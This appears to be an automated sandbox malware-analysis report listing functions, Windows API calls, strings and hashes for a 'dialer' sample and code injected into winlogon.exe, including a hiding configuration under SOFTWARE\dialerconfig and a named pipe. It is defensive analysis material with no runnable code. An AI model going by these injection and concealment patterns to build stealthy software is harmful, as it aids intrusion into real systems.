String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 552, Parent PID: 6952COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	94.6%
Signature Coverage:	0%
Total number of Nodes:	112
Total number of Limit Nodes:	18

Executed Functions

Function 00000225DC641628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641633
HeapAlloc.KERNEL32 ref: 00000225DC641642

Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC64126E
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC64127D
Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC641297
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC6412A8

RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416B2
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416DF
RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641719
RegCloseKey.ADVAPI32 ref: 00000225DC641734
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641754
RegCloseKey.ADVAPI32 ref: 00000225DC64176F
RegOpenKeyExW.ADVAPI32 ref: 00000225DC64178F
RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417CA
RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641805
RegCloseKey.ADVAPI32 ref: 00000225DC641820
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641840
RegCloseKey.ADVAPI32 ref: 00000225DC64185B
RegOpenKeyExW.ADVAPI32 ref: 00000225DC64187B
RegCloseKey.ADVAPI32 ref: 00000225DC641896
RegCloseKey.ADVAPI32 ref: 00000225DC6418A0

Part of subcall function 00000225DC6412BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC641327
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC641338
Part of subcall function 00000225DC6412BC: RegEnumValueW.ADVAPI32 ref: 00000225DC641397
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC6413ED
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64140A
Part of subcall function 00000225DC6412BC: HeapFree.KERNEL32 ref: 00000225DC641418
Part of subcall function 00000225DC6412BC: lstrlenW.KERNEL32 ref: 00000225DC641421
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64142F
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC64143D

Strings

tcp_local, xrefs: 00000225DC6417FE
process_names, xrefs: 00000225DC64174D
startup, xrefs: 00000225DC6416D5
tcp_remote, xrefs: 00000225DC641839
pid, xrefs: 00000225DC641712
SOFTWARE\dialerconfig, xrefs: 00000225DC641692
paths, xrefs: 00000225DC641788
udp, xrefs: 00000225DC641874
service_names, xrefs: 00000225DC6417C3

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 406a7c028b3c229bdc1c75f8301e19e1701b13e4dfdd540bc7c265abecc9bc67
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 47712D7E328E60A6EB109FA9E85869D33B4F784F9AF509111DE4E47B69EF34C444C740

Function 00000225DC643790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC64379E
GetCurrentProcess.KERNEL32 ref: 00000225DC6437CC
VirtualProtectEx.KERNEL32 ref: 00000225DC6437EE
GetCurrentProcess.KERNEL32 ref: 00000225DC643809
VirtualProtectEx.KERNEL32 ref: 00000225DC64382A

Strings

wr, xrefs: 00000225DC6437FF

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 5b5ece5b16f05410ef88fc7334ca4b30fcb2165cfe8f9a178b0778bd0effcbe9
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 96118B2A318F5493EF549BA9E408269B2A0FB88F86F148038DF8A03B94EF3DC505C704

Function 00000225DC645B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645B6B
GetThreadContext.KERNEL32 ref: 00000225DC645CD5

Part of subcall function 00000225DC645960: GetCurrentThreadId.KERNEL32 ref: 00000225DC645964

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: f245da02ec037058e9828f5728e6f8f7909b60f63258dcba4de34453af5a61e8
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: B9D1997A20CF9896DA70DB4AE49835A7BA0F7C8B85F104156EACE47BA5DF3CC541CB40

Function 00000225DC6450D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645156

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: ca8f9a462bd9996edb27ee4ecd3a9b3d43bbe2f9124c1ca87dd336038b8394af
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: 1102C83661DF9496EB60CB99E49436AB7A1F3C4795F104056EA8E87BA8DF7CC444CF00

Function 00000225DC6439E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000225DC643A66
VirtualAlloc.KERNEL32 ref: 00000225DC643AA0

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 3d7c28a49f1379a387e1eab8d3c47744672dc9424a01523034e22865a73a9f88
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 7F31302625DE98A1EA30DB9DE05835E76A1F388B85F108575F6CF46BA8DF7CC180CB04

Function 00000225DC64328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000225DC6432AE
PathFindFileNameW.SHLWAPI ref: 00000225DC6432BD

Part of subcall function 00000225DC643844: StrCmpNIW.SHLWAPI ref: 00000225DC64385C

Part of subcall function 00000225DC643790: GetModuleHandleW.KERNEL32 ref: 00000225DC64379E
Part of subcall function 00000225DC643790: GetCurrentProcess.KERNEL32 ref: 00000225DC6437CC
Part of subcall function 00000225DC643790: VirtualProtectEx.KERNEL32 ref: 00000225DC6437EE
Part of subcall function 00000225DC643790: GetCurrentProcess.KERNEL32 ref: 00000225DC643809
Part of subcall function 00000225DC643790: VirtualProtectEx.KERNEL32 ref: 00000225DC64382A

CreateThread.KERNEL32 ref: 00000225DC64330B

Part of subcall function 00000225DC641D14: GetCurrentThread.KERNEL32 ref: 00000225DC641D1F

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 7d3d60018f90cf45d3bc6b126cf75a44508ad4678cf0a9f52ef5460c3c2565a3
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 7011C07C62CEA8B2FB619BE8F90C3993295AB54B47F50C1B4EB0781690EF78C044C240

Function 00000225DC644DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000225DC644DF4
VirtualProtect.KERNEL32 ref: 00000225DC644E37
FlushInstructionCache.KERNEL32 ref: 00000225DC644E4C

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: 7e590623df8fc7209075b22fdaf8685971673eb90f371bc8902be2096d1f9670
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: 9FF03A2A21CF24D0D630DB89E44976ABBA0F788BD5F148151FA8E43B69CE3CC681CF00

Function 00000225DC61273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00000225DC6127DB
LoadLibraryA.KERNELBASE ref: 00000225DC61285E

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: b5a9ffdff3e85ff3f1f12f145a610503c53f3502f35e5ceb3ac916478b11310c
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: D261363AB02AA097DF56CF5ED00876DB392F754BA6F18C521CE5907788DA38D852C700

Function 00000225DC641ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000225DC641628: GetProcessHeap.KERNEL32 ref: 00000225DC641633
Part of subcall function 00000225DC641628: HeapAlloc.KERNEL32 ref: 00000225DC641642
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416B2
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416DF
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641719
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641734
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641754
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64176F
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64178F
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417CA

Sleep.KERNEL32 ref: 00000225DC641AD7
SleepEx.KERNELBASE ref: 00000225DC641ADD

Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641805
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641820
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641840
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64185B
Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64187B
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641896
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6418A0

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b89290e72799dd3975187c06206b195ef9f7eec7f326f7ac498d84b976088364
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 0731356921CE61B2FF509BAED6593A933A4AB54BC6F04D4A19E0F873E5FF30C451C210

Function 00000225DC67273C Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00000225DC6727DB

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: c822286e1b467df8a310eb99b0d592360f537eec13a50740bd2f5dfddf19021e
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: A561483AB01AA0D7DB56CF9AD00876DB3A2F754BA5F18C921CF5907BC8DA38D852C700

Function 00000225DC6AD6CC Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 00000225DC6AD721

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction ID: d48ce241fd5c6b57c9d66a3839ec59588558f897ab86195e616c0656e38ee758
Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction Fuzzy Hash: 21F05E6C301E2161FE6DDBEE995D3A552955F89B82F6CE4344D0AC67E2EE3CC481C620

Non-executed Functions

Function 00000225DC6A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC6A2BD0
lstrlenW.KERNEL32 ref: 00000225DC6A2E0A

Part of subcall function 00000225DC6A199C: OpenProcess.KERNEL32 ref: 00000225DC6A19C2
Part of subcall function 00000225DC6A199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6A19E0
Part of subcall function 00000225DC6A199C: PathFindFileNameW.SHLWAPI ref: 00000225DC6A19EF
Part of subcall function 00000225DC6A199C: lstrlenW.KERNEL32 ref: 00000225DC6A19FB
Part of subcall function 00000225DC6A199C: StrCpyW.SHLWAPI ref: 00000225DC6A1A0E
Part of subcall function 00000225DC6A199C: CloseHandle.KERNEL32 ref: 00000225DC6A1A1C

GetProcAddress.KERNEL32 ref: 00000225DC6A2BE5

Part of subcall function 00000225DC6A152C: StrCmpIW.SHLWAPI ref: 00000225DC6A155D

Part of subcall function 00000225DC6A3844: StrCmpNIW.SHLWAPI ref: 00000225DC6A385C

StrCmpNIW.SHLWAPI ref: 00000225DC6A2C28
lstrlenW.KERNEL32 ref: 00000225DC6A2D50

Strings

NtQueryObject, xrefs: 00000225DC6A2BDB
ntdll.dll, xrefs: 00000225DC6A2BC9
\Device\Nsi, xrefs: 00000225DC6A2C1B

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 8b409eee056ac65ba81e46254c59d85845063fb26c80b4bd130284c66f771075
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 96B1B37A290E60A2EBAADFADC44876963A5F744B86F24D016DE0DD3B95DF35CC81C340

Function 00000225DC642B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC642BD0
lstrlenW.KERNEL32 ref: 00000225DC642E0A

Part of subcall function 00000225DC64199C: OpenProcess.KERNEL32 ref: 00000225DC6419C2
Part of subcall function 00000225DC64199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6419E0
Part of subcall function 00000225DC64199C: PathFindFileNameW.SHLWAPI ref: 00000225DC6419EF
Part of subcall function 00000225DC64199C: lstrlenW.KERNEL32 ref: 00000225DC6419FB
Part of subcall function 00000225DC64199C: StrCpyW.SHLWAPI ref: 00000225DC641A0E
Part of subcall function 00000225DC64199C: CloseHandle.KERNEL32 ref: 00000225DC641A1C

GetProcAddress.KERNEL32 ref: 00000225DC642BE5

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

Part of subcall function 00000225DC643844: StrCmpNIW.SHLWAPI ref: 00000225DC64385C

StrCmpNIW.SHLWAPI ref: 00000225DC642C28
lstrlenW.KERNEL32 ref: 00000225DC642D50

Strings

NtQueryObject, xrefs: 00000225DC642BDB
ntdll.dll, xrefs: 00000225DC642BC9
\Device\Nsi, xrefs: 00000225DC642C1B

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 02e5d621d8295eb5dd385e75f9606a0c78f62cf6da70878d64f9e7b1c174dd69
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: DCB1B47A21CE60A6EB968FEDC4487A973A5F744B8AF24D056DE0A53B94DF34CC41C340

Function 00000225DC6A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC6A7DAC
RtlCaptureContext.NTDLL ref: 00000225DC6A7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC6A7DF3
RtlVirtualUnwind.NTDLL ref: 00000225DC6A7E34
IsDebuggerPresent.KERNEL32 ref: 00000225DC6A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6A7EB4

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 3b87e895a044953073a839ffa4b4feaece301703ffc135d08af6657be6a0d668
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 14317276205F9099EB64DFA4E8443EE73A1F78474AF448029DB4E57B94EF38C548CB10

Function 00000225DC647D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC647DAC
RtlCaptureContext.NTDLL ref: 00000225DC647DD9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC647DF3
RtlVirtualUnwind.NTDLL ref: 00000225DC647E34
IsDebuggerPresent.KERNEL32 ref: 00000225DC647E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC647EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC647EB4

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: a0dd4a3191c2f22ec65cd5f9c7d8c34c65d38d6a3a9ca6151c6be4ce44add157
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 29318376219F909AEB609FA4E8447ED73A0F784745F44812ADB4E57B94EF38C548CB10

Function 00000225DC6AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC6AD31D
RtlLookupFunctionEntry.NTDLL ref: 00000225DC6AD335
RtlVirtualUnwind.NTDLL ref: 00000225DC6AD370
IsDebuggerPresent.KERNEL32 ref: 00000225DC6AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6AD3BE

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 4dbdfab791ea173b22a2c1feee1540d37dae8e72db698209205baee473c09c96
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 7631C93A214F90A6EB64CFA9E8443DE73A0F789756F504126EB9D43B54DF38C145CB00

